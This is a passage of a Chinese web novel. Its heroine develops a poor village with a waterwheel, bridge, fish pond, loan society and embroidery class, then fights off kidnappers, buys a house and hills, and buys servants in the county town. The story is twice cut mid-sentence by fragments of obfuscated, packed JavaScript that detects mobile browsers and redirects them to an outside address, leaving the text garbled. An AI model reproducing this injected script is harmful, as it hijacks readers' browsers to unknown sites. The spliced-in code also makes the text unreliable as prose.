不到十余日，最简单的鱼塘基本就完成了，撒了一些石灰消毒，过几日再叫他们种一些草。看着两个巨大的坑，庄户们都面露惊奇，有的觉得不错，有的却觉得没有什么意思。但不管怎么说，大家心里挺高兴，因为挖土的庄户都挣到了一两百文钱。水渠因为需要用到石头，得去猫儿山后面去取，然后运过来，所花时间较多，进展比较慢一些，但也正常进行着。最为精细的是水车，木匠师傅光是测量、计算，就用了好些天，也和苏云请教过好多次，不断反复，终于确定下来，着手制作。 苏云的小院也如火如荼，忙忙碌碌，建材来得不容易，要从别处采购，到了柳河庄还要搬上小船过河，再搬到工地，好在小院本来不大，这些天已经把地基夯实，墙面砌好，地面铺上青石板，等着吉日就可以上梁了。 眼看接近尾声，苏云叫来了庄头，商量小船的事情。苏云道：“柳河虽不是很宽，但水流颇急，庄子出入均要靠那艘小船，着实耽误事情。好在河面不宽，本小姐想，是否可以修建一座桥？这样出入方便。” 庄头喜道：“庄户都苦出行不易，进城一趟，总是萝蔸背筐，一条小船也坐不了几个人，人多的时候还要排队等，确实辛苦。且柳河水急，也的确有些不安全。若能建一座桥，必是大大有利庄户出入。以后进城赶集，运粮，都要方便很多。只是柳河河面虽不宽，但河深水急，只怕修桥不易。要不先修一座木桥试试？” 苏云笑着摇头：“木桥不可，一则承重不行，二者柳河水急，冲击力大，管不了多久，容易出事。既是要修，不如一步到位，修石桥。费用虽是不菲，也暂由我出资即可。只是撑船的何大爷，你要找一个合适的位置给他，断不可断了他的生计。专业之事需由专业之士来做，我等空议无用。我们可先问问建筑师傅。” 庄头道：“何老头的事情好解决，反正庄上只是负责他的吃食，庄子说大不大，说小也不小，自不会让他饿着。莫若先让他去龙王庙守着，以后有什么其它合适的事情，再安排他去。” 苏云道：“如此，也可以无后顾之忧。” 于是叫来建筑师傅，问他可否会建桥，师傅道：“小人只会修房盖屋，却并不会造桥。不过我有一老友，却是造桥的行家里手，所造之桥没有百数，只怕也有半百。”苏云喜道：“如此甚好。有劳师傅请老友来一叙。”师傅道：“前些日刚见过他，和他吃了一次酒，上一个大槐庄的建桥工程已完成，这几日正闲在家里，我这就寻他去，料也没甚问题。” 次日，建筑师傅将造桥师傅带来，造桥师傅五十来岁，面容敦厚，皮肤黝黑，一看就是惯于劳作之人。见过苏云后，道：“不知小姐想造一个什么样的桥？”苏云道：“师傅刚才进庄子，想必已经看了地形。我想造一座石桥，桥面需能过两辆马车。”师傅道：“适才看过，河面虽不宽，但听说水比较深，估计所费石料不会少。”苏云道：“无妨，要请师傅估个价。”师傅道：“我看那艘渡船太小，且不稳靠，桥梁所需石头会比较重大，我还得找两条小船过来帮忙。好在后山就有石料，石料我也看了，修桥可用。开凿和运输也不是难事，只是费时。不知小姐是要按日来算，还是按桥来算？”苏云道：“我对造桥事宜一概不知，倒是不喜欢拖拖拉拉，不若就按照建桥来算吧。”师傅道：“按照建桥来算，算下来在二千五百到三千两出头，具体还要看施工情况来定，到时自然有详细账单。”苏云很爽快：“甚好。只是我需签订一个协议，不管枯水洪水，你须保证至少二十年石桥无恙。”师傅道：“完全无碍，小老儿所建筑的石桥，至少五十年都不会有问题。事实上，小人造桥三十余年，未曾有一座出了问题。” 双方签订协议，苏云付了定金。次日造桥师傅就带了一帮子人来，先是测量各种数据，又去后山看看石材，第二天，又划来了三艘船，运来几船的粗木，还有一些竹子，庄户们也搞不懂是用来做什么的。 闲着没事的时候，也凑在一起看热闹。 就这样忙忙碌碌，日子飞快。苏云也每天都要出去转转，看看工程进度，鱼塘完成，水渠完成，小院完成，水车过两日也可以调试，河岸堆着好多巨大的石块，工人们在河里打着巨大的木桩。苏云暗想，这几千两银子不好赚啊，决定不和他们讨价还价。 两日后，巨大的水车立了起来，庄户们像过年一样热闹，男女老少都挤在一起观看，甚至有些别的村子的人也来了，都想见证这个奇妙的时刻。只见水车巨大的圆圈上，挂满了竹筒，几个竹筒之间还有一块木板，想是用来增加流水的阻力，从而形成动力，让水车不断旋转。竹筒装满水后，慢慢升到高空，转了半圈之后，竹筒的水倒在了水渠延伸的水池里，然后流进水渠，顺着水渠流进鱼塘、田地。一个接一个的竹筒将水倒进水渠，河水汩汩流淌，庄户们看得瞠目结舌，个个叫好。这一片田地比较贫瘠，干旱时节，虽然旁边就是柳河，但还得一桶一桶挑到田地里去，家里的壮劳力都整日忙着挑水，那些没有壮劳力的家里更是叫苦不迭。产量不高，这也是一个很大的原因。现在这个水车解决了灌溉的大问题，不用想都知道，今年的产量至少要多上两成。 一个老农颤巍巍走到苏云面前，扑通一声跪下，纳头便拜：“龙王显灵了，龙王显灵了！龙女真是菩萨心肠，大好人哪！”。苏云赶紧侧身，让王嬷嬷去扶人。 苏云道：“老丈言重了，我不过是按龙王所嘱行事，何功之有？若老丈要感激，就去拜谢龙王吧。”老丈激动得吩咐身边的儿子：“快去把家里的香烛拿上，我们去龙王庙。”众人跟在后面，呼啦啦都去了龙王庙祭拜。 苏云见此情形，很想再去添一把火，借机把龙王庙重新休整一下，无奈想想后面的计划和现在手里的银两，只得作罢。 又过了十余日，所有工程都结束了，鱼塘的水也灌满了，整个庄子像过节一样。庄户们都跑去踩桥，看着宽阔的石桥，高兴得合不拢嘴，再看看不远处巨大的水车，更是欣喜不已。庄户王满仓笑道：“二十多年了，没想到也能看到这么多奇事，今年真是龙王开眼了。”另一庄户也笑道：“还是龙女给带来的，真是喜从天降。”王满仓道：“听说龙女后面会有好多主意，都要一一实施，到时候怕是家家温饱不愁了。”另一庄户道：“还别说，鱼塘已经挖好了，听庄头说，要公开招标，看谁来承包。”一庄户道：“啥是招标，啥是承包？”王满仓道：“招标是说看谁出得多，鱼塘就给谁。承包嘛，好像是······，唉，我也说不清楚，等庄头来了，还是问问他吧。”庄户们发出一阵哄笑。 在庄户们喜悦的氛围中，庄头召集了每家主事的聚在打谷场上，很多庄户也来凑热闹，打谷场上黑压压一片人头，苏云也带着王嬷嬷和各位管事坐在旁边。 庄头抬手压了压，喧闹的庄户们慢慢静了下来。庄头清了清嗓子，大声道：“各位乡亲，今天召集大家过来，是有几件事要跟大家说。首先是，侯府把庄子的管理交给了龙女打理，以后在庄子上，主事的就是龙女了，我也只是支应支应，也就是说，以后庄子上的大事小情，都要听龙女的，若是有人胆敢不从，就逐出柳河庄。龙女体谅各位生活不易，又有龙王嘱托，想把各位的日子变得富足。龙女帮我们庄子做了不少好事，大家看到的石桥、水车、水渠、鱼塘，可都是龙女一手做起来的。”庄户们纷纷向苏云弯腰作揖致谢，苏云微微躬身还礼。 庄头继续道：“我们庄子的情况大家都知道，土地总体比较贫瘠，我们每个人都是辛辛苦苦在劳作，但还是吃不饱穿不暖。”庄户们露出苦涩的笑。 庄头继续道：“为了各位的生活得到改善，能吃饱饭，穿暖衣，手里还有余钱，这些日来龙女茶不思，饭不想，就在想办法，觉得只靠这点田地上的收成，只怕难以裹腹，还是必须要做点别的营生才行。以后各位想要吃饱穿暖，除了把田土伺候好，还得自己找点生意来做。” 一庄户大声道：“我们也想做点小生意，但是现在吃穿都很难，哪里有闲钱做成本？” 庄头道：“龙女早就给各位想到了。第一步就是成立互助会，龙女垫钱促成的，各位管事也在这里。以后各位庄户有需要，都可以来互助会来贷款。”一庄户道：“贷款是什么？”庄头道：“贷款嘛，就是借钱。若是各位乡亲有什么好营生，比如想养鸡养鸭，养猪养羊，或者做点其它小本买卖，没有本钱的，都可以找互助会贷款。”庄户们都纷纷看向苏云和管事，苏云赶紧起身，微微点点头，然后又坐了下来。 有庄户问：“以后就可以借钱了？”庄头道：“你是想借钱不还吧？”庄户们哄笑起来，那庄户满脸通红，缩在人群中，不再作声。等大家慢慢静下来，庄头接着道：“不是借钱，是贷款，主要不是大家用来过生活的，而是大家如果需要做生意，可以来借钱。想借钱去吃喝烂赌的，一律撵出庄子。不过，既然是贷款，就是要还利息的，当然，利息很低，主要是想帮助大家把日子过起来。以后大家有什么想做的生意，都可以跟我们说，只要经过商议后，能够贷款的，都可以贷款。这个不着急，大家可以下去好好想想，想好了再来找我们。当然，互助会的钱，除了给大家贷款外，如果谁家确有急事，比如家人急病需要钱，也是可以借的，但是这个钱只是应急，也是要归还的。” “第二，就是互助会成立了管事，加上在下，一共七个人，以后但凡需要互助会帮忙的事情，我们都要凑在一起商量，出了结果后，再交给龙女审批。现在我就给乡亲们介绍一下几位管事。”说完，就介绍起坐在椅子上的各位管事。 庄户们相互之间都是认识的，听着庄头的介绍，纷纷交头接耳议论起来。一庄户小声道：“吴家老爹素来遇事都是帮理不帮亲，他当管事，我没有意见。”另一妇人道：“没想到刘大叔也当上管事了，上次俺家挑水还是他家小子帮的忙。”众说纷纭，倒是对管事人选并无太大意见。 “第三，就是今天最重要的，鱼塘已经挖好了，这次要用承包的办法。我知道，各位很多都不懂什么是承包，我这里先跟大家说说。承包就是负责这个鱼塘的所有。想承包的，大家考虑鱼塘能出产多少，估个价，然后报给我们，我们也会自行定一个价，谁家最适合，就承包给谁家。举个例子，比如承包这个鱼塘，每年要交给互助会二百两银子，如果鱼塘卖鱼得了三百两，那多出的一百两就是承包人的，如果卖鱼收入有四百两，承包人就可以得到二百两。哈哈，不要老想着会有一百两百的进账，如果只有一百的产出，剩下的一百两你要填上的。总之，超出给互助会二百两的部分，都是属于承包人的，不足的，你也要自己补上。”庄户们听了，都激动不已，纷纷大声讨论起来，有几个甚至有点跃跃欲试了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205742|197331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 等大家讨论了一阵后，庄头挥挥手，待大家安静下来，又道：“大伙都别激动，先冷静一下，我刚才只是举个例子。别光想着赚钱，赚钱也是要成本的。鱼苗要钱，鱼食要钱，请人照看，打鱼卖鱼，哪样不要钱？还有贷款的本金和利息，当然，本金可以分期还，也就是每年还一部分。这些都是成本，都要算在卖鱼收入里面的，除了这些外，还能留下多少，大家也要多多合计才行。况且生意赚钱哪有十拿九稳的？也有可能忙了一年，说不定还没有二百两的利头，还要欠互助社的钱。”庄户们都冷静下来，几个跃跃欲试的也不吱声了。 庄头继续道：“这个不着急，大家可以下去合计合计再说。一家人做不下来的，可以两家人一起做。鱼塘的承包，大家可以想三天，如果有愿意的，就来找我们，如果找的人多，我们再商议。大家下去想想，有什么想做的生意，都可以来找我们。有想法的可以留下来问我们，没事的话，大家就都散了吧。”庄户们一边议论着，一边散去。 有几个庄户留下来，围着庄头叽叽喳喳，有的想磨豆腐卖，有的想养鸡鸭，有的想养几只羊，庄头和管事们商议，苏云也觉得可行，于是都给他们发放了贷款，登记在册。 看到贷款的都是男子，苏云想起了一件事。 苏云问庄头：“庄子里可有绣工很好的女子？”听到这个，庄头有些自豪道：“李三家媳妇杨氏的绣工就很好，我们庄的刺绣可是十里八乡都有些名气的，好多人家嫁女儿，都喜欢找她做嫁衣呢。”“那麻烦你让她带着绣品来找我一下。” 苏云回到家不久，杨氏就带着绣品来了。杨氏衣着朴素，但干净整洁，且在衣角上修了一朵兰花，甚是灵动，整个人看起来气质与庄上的妇人不太一样。苏云请她坐下：“听说婶子针线很好，能否看看绣品？”苏云说得客气，杨氏道：“龙女谬赞了。以前在绣庄做过，前些年嫁人才来到柳河庄，平日都忙家务多，手上功夫也生疏了很多，还请龙女多多指教。”说完，递上绣品，王嬷嬷上前接过，递给了苏云，苏云展开一块手帕，手帕质地一般，上面的花草却绣得很是流畅，只是好像有点不是很生动；再展开一件裙子，质地也是一般，上面的绣工真的是让人满目生辉，只是感觉色彩过于艳丽，配色上面似乎还可以再提高，还有就是因为不懂素描，花草的形象不够立体，绣图样式也颇老旧。不过技法娴熟，确是行家之手。 苏云道：“本小姐也没怎么学女红，也就只能看看。婶子针法娴熟，你看这手帕上面的雏菊綉，还有分线针法，都是极好的；裙子上的花草用的抓针线法，用得端是巧妙。只是按照我的感觉，是否配色上面可以淡雅一点，整个群面红绿对比有些刺眼，如能选不是那么鲜艳的色线，也许会更好。” 苏云大为意外，没想到这个贫穷不堪的庄子里，居然有这种刺绣专业人才，不用起来可真是可惜了。看看她的手，有些粗糙，很是难过，绣娘的手都是修长细腻的，若有老茧，手指不够灵巧，且很容易挂毛丝线，破坏绣品。想是平时不得不做农活家务，闲下来才会做些绣品补贴家用。 苏云道：“婶子的绣品，可是拿到绣庄去卖的？不知价格几何？”杨氏道：“不曾卖给绣庄，我家四个孩子，家务很多，农活也不少，这些绣品，也都是乡亲们拿过来帮忙的，并没几个钱。” 苏云道：“不知庄上可还有擅长刺绣的女子？” 杨氏道：“张家二妞，三妞，杨家小丫和李家草儿都是不错的，只要稍加调教，日后必是能独当一面的。” 苏云道：“婶子大才，绣工如此之好，若就此埋没，着实好生可惜。我这里有一个想法，说与婶子听听，看看是否可行。”杨氏道：“请龙女吩咐。” 苏云道：“若是一个人做绣活，必定不多，有些复杂的绣品，一个人做也很难完成，所以我想办一个刺绣班，你自己选人，就由你领头，教她们刺绣，先不对外接绣活，你先培训她们，培训一个合格的绣娘，大概要多长时间？” 杨氏到：“基本技法，几天即可完成，若要有所成就，却需看个人悟性，快的三五月，慢的一年也有的。” 苏云道：“如此，你可选二十人来教授，一个月后，若明显不具灵性的，就不用再学了，剩下的可继续教授，三月后再筛选一次，若能留下四、五个，半年之后当成大器。也算不错。” 杨氏道：“龙女想得周详，奴家自是愿意，只是这些绣女家里都有很多活计，就是我，家里活计也是一堆，很难有时间来教授哈。况且刺绣需要工具、绣线、布匹，这些都是要钱的。” 苏云道：“这个我自然知道，婶子不必担心。初学之时，想必还用不上绣架等物，只需有绷圈即可，等后面确定可将人数统计好，再行购置绣架等物。至于布匹、绣线，还烦婶子报一个数，一应我负责出钱，只是要烦劳婶子去买回。你可找你能看得上的女子，一定要年轻女子，三十以下的，组成一个班，可先在我加小院后面的空房里练习，每个愿意来学习的女子，每天给她们十文钱，由你教授；我也知教出徒弟，饿死师父的道理，断不能让你以后没了生意。每日二十五文，不知你可否愿意？只要第一次出了成果，后面可以长期办下去。只是吃住都在家里，各家的活计，都要自己给家里人商量解决。” 杨氏心想，丈夫农闲打工，辛苦一日也不过十文十五文，一日二十五文，当家的也会答应。至于姑娘小媳妇，在家里也多是带娃，做饭，洗衣服，既然都在庄子上，很多活计回家也可以做，想来也没有什么问题。便欢喜道：“龙女真是菩萨心肠，真真是为我等庄户着想。我本喜绣活，能专门做这个，自是千万个答应的，想来绣娘们也必是千般愿意，我这就去找她们去。”说完告辞，乐颠颠跑了出去。 不到半日，来找杨氏的姑娘小媳妇围满了她的家门，能学一技之长，不仅不用付费，还有工钱可拿，不来的都是傻子。杨氏从他们中挑选出了二十个学徒。苏云按照杨氏报上来的工具数目，如数给了银子，就让杨氏去折腾。 13. 第 13 章 13、县城遇险 晚上，苏家小院。 苏云一番核算这段时间的支出后，不由愁眉紧锁。舅舅给的八千两，互助金、风车、水渠、石桥、鱼塘和杨氏的刺绣等，现在只剩下八百两不到了，后续还有很多计划，样样需要钱，看来又得去找钱了。 项目其实很多，但是目前苏云并不想把所有的都拿出来。她现在只能从众多项目中，选择一两个出来先试试。 王嬷嬷也感觉到了苏云的担忧，想起小姐最近的大手笔，心里还是有些不以为然的，只是并未多说什么。娟儿和梁莺还在一边识字，一边打闹，只有她们充满了快乐！ 苏云笑笑，对王嬷嬷道：“嬷嬷，你别担心，会有办法的，明天我们进城去一趟。”娟儿和梁莺听了，瞬间不再嬉戏，双眼放光，问道：“小姐，真的吗？明天要进城去？”苏云道：“这次我们去办事，你们还太小，去了不方便。留下看家吧。”两个小姑娘大失所望，神情沮丧。 苏云又道：“不过，你们想带点什么东西回来，可要抓紧说哦。” 两小姑娘又高兴起来。娟儿道：“我要一朵绒花。”梁莺道：“我要糖葫芦。”王嬷嬷笑骂：“小馋猫！” 翌日，苏云锻炼完毕，吃过饭，对娟儿嘱咐了几句，就和王嬷嬷坐着庄上的牛车进城了。 县城一如既往的热闹，街道两旁建筑鳞次栉比，摊贩叫卖声此起彼伏。苏云首先找到揽胜珠宝店，孙掌柜正好在。于是带着苏云进了旁边的小屋，王嬷嬷将一大包石子放在桌上，王嬷嬷把包袱打开，里面还有三个小包。 苏云道：“孙掌柜，我把三个品级一样的石子分了类，麻烦孙掌柜看看。”孙掌柜拿起一个小袋子打开，拿出几颗出来看了看，道：“这一袋的石子比较大，透光也不错，色泽也很好。”然后又打开第二个，拿出几颗端详，到：“这一袋的应该和上次差不多。”再看最后一袋，比前面要略次一些，于是按照品相不同都收了去。王嬷嬷又拿出了一个袋子，苏云道：“这里还有一袋，却是不卖的。我想做四串项链，不知可够？需要多少钱？”孙掌柜看了看，道：“这个要看小姐想做多长，什么式样的。”苏云道：“一个六岁小娘子，一个十一岁小姑娘，还有这位王嬷嬷，每人做一圈即可。只是我的却要长一些，还有别的用，就两圈吧。”孙掌柜道：“小事，必定让客官满意。”谈好价格，交付定金，约定下次进城来取。 苏云从首饰店出来，向打听到铁匠铺所在，七弯八拐之后，来到了铁匠铺。两个肌肉结实的大汉，正赤膊捶打一块发红的铁块，见到两人，一大汉道：“客官请稍候，这个不能停。”苏云道：“无妨。”过了一阵，那块铁捶打完毕，大汉用铁夹夹着放进水里，呲的一声，冒出一股青烟。那个大汉才取下肩上的毛巾，擦了擦汗，道：“劳二位客官久等，不知想做点什么？”王嬷嬷赶紧递上一张纸，大汉接过，仔细看起来，纸上画了大大小小的图，像是锅盖，又有管子什么的，每个部件都单独画出来，还标明了尺寸。大汉并不问用来做什么，只是道：“这物事倒也不难，客官什么时候要？”苏云道：“大概三五日吧。”大汉道：“三日即可。”苏云道：“我并不住城里，到时来取。”大汉道：“好说，我会安排好，不会耽误客官的时间。”谈好价格，给了定金。打听了伢行所在，付款而去。 苏云来到伢行，一个十六七岁的小伙计正在柜台呆坐，一看生意上门，立马迎出来，口中道：“客官快请进。不知客官是要买人？买房还是租房？”苏云道：“都想看看。”小伙计一看大生意上门，精神百倍，道：“整个县城的房屋买卖都在我们伢行里，姑娘可有什么要求？”苏云道：“想要一个宽敞院子，不拘路段，不拘新旧，能住人，价格低即可。” 小伙计拿出一个本子：“客官若是这个要求，倒也有，只是需去南城。”然后翻了几页，指着本子道：“正好一处与客官所需相符，若客官有兴趣，我这就带您过去看看。”见苏云同意，小伙计给另一个伙计打了招呼，带苏云出门，一路上喋喋不休：“临清县城，东贵西富，北商南贫。南城的人大都较穷，房子比较破烂，好在价格确实便宜。前几天正好有一户院落，主人家要搬到外地去女儿家，走得急，价格上就优惠许多。”七弯八拐之后，只见房屋逐渐破旧，行人衣着也有不少补丁，眼中的神色麻木黯淡。 见行人越来越少，苏云觉得有点不妙，叫住伙计：“小哥，你稍停一下。”小伙计回头，不解道：“客官何意？”苏云道：“我寻思，这片地方并不适合，我想还是看看别的地方吧。”小伙计正要说话，两个长相猥琐的高壮男子迎面走来，看到三人，一个男子对另外的男子挤眉弄眼：“好标致的小女子，要是卖到窑子里，肯定是个好价钱。”另外的男子看了看周围，并没有什么人，点了点头。两人笑着朝三人慢慢走过来，小伙计心里发慌，却并没有逃跑，挺身上前，大声斥道：“光天化日之下，你们想干什么？”猥琐男子朝天看了看，狞笑着道：“的确是光天化日，要不是光天化日，那有机会看到这么漂亮的小姑娘？”王嬷嬷也大叫：“你们想干什么？”回头对苏云道：“小姐，你快跑，我拦住他们。”苏云也是第一次遇到这种事，却并不慌张，四下一看，见地上有一堆碎石子，悄悄抓了起来。 这时，一个男子上来，小伙计上前去拦，被一个男子一脚踹到地上爬不起来。王嬷嬷上前去拦，也被一拳打倒在地。苏云没法，摆出空手道的架势，两个猥琐男子相视一笑：“小姑娘还真有趣。”一男子冲上来，想要抓住苏云，一脚踢出，正中男子腰部，猥琐男子猝不及防，痛得大叫一声，后退了好几步。后面的男子扶住他，道：“没想到还是个练家子。”苏云在男子被踢中的时候就拔腿就跑。两男子骂骂咧咧追赶，只见苏云猛地一回头，右手一扬，一颗石子脱手而出，正中前面男子的额头，痛得捂住额头大叫，苏云再次右手一扬，一块石子也正中后面男子的额头，也痛得大叫。两男子停下，还想冲上来，苏云道：“你要是再敢上前，这次就是眼睛了。”男子看了看对方的额头，额头上已经青紫一块，隐隐有血丝，没想到如此之准，心里着实有些害怕，不敢上前，转身跑得不见踪影。 苏云松了一口气，赶紧上来扶起了王嬷嬷，两人又去扶起了小伙计。苏云道：“小哥受苦了。”小伙计明显好了很多，摆摆手道：“无碍。只是没照顾好客人，多有得罪。”苏云道：“此处歹人太多，赶紧走吧。”三人忙往回走。小伙计很是专业，顾不得身上还有些痛，一边走，一边道：“不远处还有一个院子，略要大一些，要不客官再看看？”苏云心里有些发笑，感激他遇到危难没有逃跑，虽没什么用，总是勇气可嘉，也佩服小伙计的专业素质，有心让他做成这一单生意，于是道：“那就看看吧。”小伙计大喜，带着他们转了几个弯，到了一处院落。小伙计打开大门，三人进去，小伙计道：“这个院子还是很不错的，有两进，院子里还有一口井。”苏云打量起来，前面有五六间房，后面也有四五间，院子看起来略显破旧，家具都还在，应该是很长时间没有住过人了，尤其有一口井，清理一下，应该可以用，苏云心下有些愿意了。 苏云道：“这个院子有些破旧了。我家人口并不多，也显得大了许多。”小伙计知道苏云的意思，忙道：“是有些大，但大有大的好处，以后人丁增长，也不用再买别的房子不是？的确有些旧，花点银子简单修缮一下，其实也是不错的。”苏云道：“不知房子怎么要价？”小伙计道：“房主喊价六百两。若是客官有意，可与房主谈谈。”苏云想想道：“也行，劳烦小哥叫一下房主吧。”小伙计大喜道：“客官稍待，我去去就来。房主的委托人正好在不远处。” 不久，小伙计领着一个五十多岁的男子过来，道：“这是张大叔。房主已经到外地去了，委托张大叔照看房子。”张大叔点点头道：“姑娘可是看中这个院子了？”苏云道：“并不是很满意，却也不是完全不可以，只是小哥竭力推荐，盛情难却。想问问价格可否有少？”张大叔道：“房主委托老儿出售，六百两，若是小姐诚心要买，可以适当减少一点。”苏云笑笑：“张大叔，这个院落对我而言，其实太大了一些，我家人口不多，好多房间都用不上。且院子好久都没住人了，好多门窗都坏了，还得花钱重新修缮，。大叔也不用兜圈子，就说卖价几何吧？”张大叔道：“既然小姐能看上，那就少五十两如何？”苏云道：“四百五十两。”张大叔道：“五百三十两。”苏云道：“四百六十两。”两人不断讨价还价，最终落在四百八十五两。 小伙计见生意谈妥，自己的佣金又有了，着实高兴，锁上门，就带三人去衙门办妥了房契，该交的税费一并弄好。 苏云问管事的主簿：“主簿大人，民女还有个事想请教。” 张大叔见事情已经办妥，就告辞走了。小伙计因为苏云前面说还要看看人，所以并不着急走，只在屋外候着。 主簿道：“不知小姐还有何事？”苏云看了王嬷嬷一眼，王嬷嬷会意，赶紧上前递上一个小包袱：“主簿大人为民做主，日理万机，自是十分辛苦。我等草民平日实难得见尊颜，今日一见，果然慈悲满面，他日飞黄腾达，不可限量。”这通彩虹屁主簿很是受用，又见递过来的小包袱，暗暗捏了一下，大约有二两银子的样子，随手不着痕迹地扫进桌面下的抽屉，心中满意，暗想小姑娘会来事，只要不是过分要求，睁只眼闭只眼就办了。道：“小姐客气了。在下身在其位，百姓有事，自是要秉共办理。小姐何事，不妨说说。” 苏云道：“不是什么大事，草民家在柳河庄，旁边有几座无主荒山，受家父之托，前来问问，不知可否出售，作价几何？” 主簿站起身，在后面书架上找了一会儿，拿出一册账簿，复坐下翻了起来，然后问：“小姐说的可是猫儿山？”苏云道：“正是猫儿山。” 主簿道：“这一处共有五座荒山，猫儿山、秃头岭，草帽山、石头山和小雀山，大小均差不多，现为县产，并无人管理，不知小姐看中了哪一座山？” 苏云道：“猫儿山最近，不知作价几何？”主簿略一沉思，道：“我县荒山较多，愿购之人极少，因此价格并不贵，猫儿山的话，三十两便可拿下。” 苏云嬷嬷算了一下自己的余钱，道：“主簿大人，若是五座荒山都买下呢？”主簿一听，精神一振：“小姐的意思，可是要五座山都买下？”苏云道：“若是银两不多，也不妨考虑。” 主簿想了想，道：“若是小姐能一并拿下，一百二十两即可。”苏云并不作声，主簿想起刚才的银子，又想反正是荒山，放在那里也没用，平时也鲜有人问津，不妨做个顺水人情，便道：“这样吧，既是小姐有心全部拿下，下官做主，就一百两整数吧。”苏云大喜：“如此甚好，我也可以给家父交代了。”王嬷嬷赶紧拿出银票，签订了契约。 告辞出来，小伙计还在门外等候，见苏云出来，忙迎上道：“小姐，此间事情办完，是否还要去看看人？”苏云道：“天色还早，就去看看吧。”小伙计很是高兴，在前面带路，嘴里还不停唠叨，孙云心里很好笑，不过觉得他是一个称职的好伙计，就问了他姓名，得知姓吴，大名三保。一行人又回到了伢行。 伢行掌柜是个胖胖的中年妇人，听小伙计吴三保说苏云买了房，还要看人，很是高兴，带苏云进了后院：“不知小姐想选什么人？”苏云道：“也没想好要什么人，可否都出来看看？”胖夫人道：“使得的，使得的。”便朝院子里面大声喊道：“都出来吧，有客人要看看。”只见两个大汉领着一群人出来，差不多二十个人排成一排，有男有女，有老有少，均是蓬头垢面，衣衫褴褛，面有菜色。 苏云走过去，胖妇人跟着，看苏云在打量一个十六七岁的小伙子，忙道：“这个小伙是瘦点，不过却当过大户人家的书童，识得几个字。” 苏云一看小伙子身材瘦弱，蓬头垢面，应该是长期缺乏营养所致，身材虽瘦弱，眼光却透出一种机灵劲，只要后面伙食能跟上，会慢慢长回来。于是点点头，继续朝前走，见一个二十五六的汉子，身材比较壮实，见苏云走过来，神情委顿，也像是饿的。是啊，都准备要卖出去的了，伢行才不会那么好心让你吃饱，浪费粮食。胖妇人道：“此人名唤阿牛，是个孝子，家里老娘生病，借了一屁股债，后偷钱被抓，被罚为奴，赎抵债务。有一身好力气，干活可是好手。”苏云道：“你是哪里人，家中母亲现在如何了？”汉子闻言大感意外，竟有一些感动，以前也来过不少买人的，从没有人如此问过他。于是答道：“家住杨川县，平日靠打短工为生，被罚为奴时，家母尚在， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏云道：“掌柜，她是怎么卖的？”胖妇人脸上堆笑：“她也说过，若买，须得两个一起买。”苏云道：“你且说说看。”胖妇人道：“若是小姐看得上，十五两。”苏云没有作声，继续朝前走，胖妇人有点慌，这个会拳脚的妇人留在这里很长时间了，无人敢买，一则怕不安全，二则还要同时买下一个小男孩，孩子太小，要干活还得养好多年，白白养着不划算。留在伢行，两张嘴也是白吃饭，便道：“不知小姐愿出多少？”苏云道：“不忙，再看看。可有会做饭食的？” 胖妇人道：“有两个以前就是厨娘。”叫了两个婆子出来，一个五十多岁的模样，满脸憔悴，一看就是农家出来的；另一个四十出头，虽是待卖之身，衣服破旧，但却整齐干净，明显是大户人家出来的。胖妇人道：“一个是在家里常做饭食的，另一个以前是大户人家的厨娘，因着女儿也是家奴，却勾搭主子，想爬主子的床，被主母发觉，乱棍打死，婆子也被发卖到了这里。” 苏云心道：“女儿勾搭主子，必有做母亲的支应，这种人要不得，要了只怕是家里不得安宁的。”却见婆子眼中含泪，道：“小女长相清秀，不安心做奴才，总想着飞上枝头变凤凰，老身也告诫过她好多次，让她安分些，我们清白人家，虽是贫困些，跟着主家，也不缺吃穿，不可做那种丢脸的事，就是不听，就是不听，害了自己，也害了老身，也算是罪有应得了。”说着流下泪来。 苏云顿了顿，继续走，见一个五十多岁的老汉，面容瘦削，有些病态，但太阳穴却高高凸起，周身气质趋势掩盖不住，苏云前世看过一些武侠小说，说武林高手就是这样的，不由得仔细打量起来，看他的样子，貌似身上有中毒现象，怕不是什么原因落难到此了？胖妇人见苏云打量，忙道：“此人在伢行呆了好些日子，平日看家，也会做些洒扫伙计。” 苏云见差不多了，就走到了台阶上，指了指小伙子、阿牛、带铁链的妇人，厨娘和病老汉，问胖妇人：“我想要这几个，你看看作价几何？”胖妇人大喜，忙道：“请小姐屋里细谈。”带着苏云进了旁边的一间屋里，下人端上茶来。胖妇人道：“小姐既是看上了这五个，当然不能按单个价格给你，若是全部都要，就一百整数吧。” 苏云笑道：“掌柜，我可是诚心谈的，你切莫狮子大开口。”胖妇人陪笑道：“岂敢，你看，说是五个，其实还有一个添头不是？整数真不多。”苏云笑道：“我也就实话实说吧。那个小子，还有那个阿牛，确实能卖得一些价钱，会拳脚的妇人，这个可是一个大麻烦，这种人拿在手里，也不好安排什么粗活，弄不好惹恼了她，打伤了主家的话，那可咋办？况且小的实在太小，得白白养着好些年，这年头，有谁家的粮食是大风刮来的？一大一小，怕是很难有人问津；那厨娘虽有一技之长，但女子勾引主家，这是大忌，在哪里都是万万不敢要的；至于那个病老汉，我也只想他看看门而已，如果很能吃，却拿着也是个麻烦，你看他病病歪歪的，万一哪天病了，汤药钱都是个麻烦，若是一不小心走了，还得本小姐办丧事。这三个，想来也没多少人敢要他们，卖不出去，砸在伢行手里，怕也有不短日子了吧，你岂不是还得白供他们饭食？” 胖妇人见苏云爽直，分析得头头是道，倒也不好再继续忽悠，便道：“小姐说的是，那小姐的意思呢？”苏云道：“六个一起四十两，你看如何？” 胖妇人自然不甘心，于是讨价还价，最终五十五两成交。 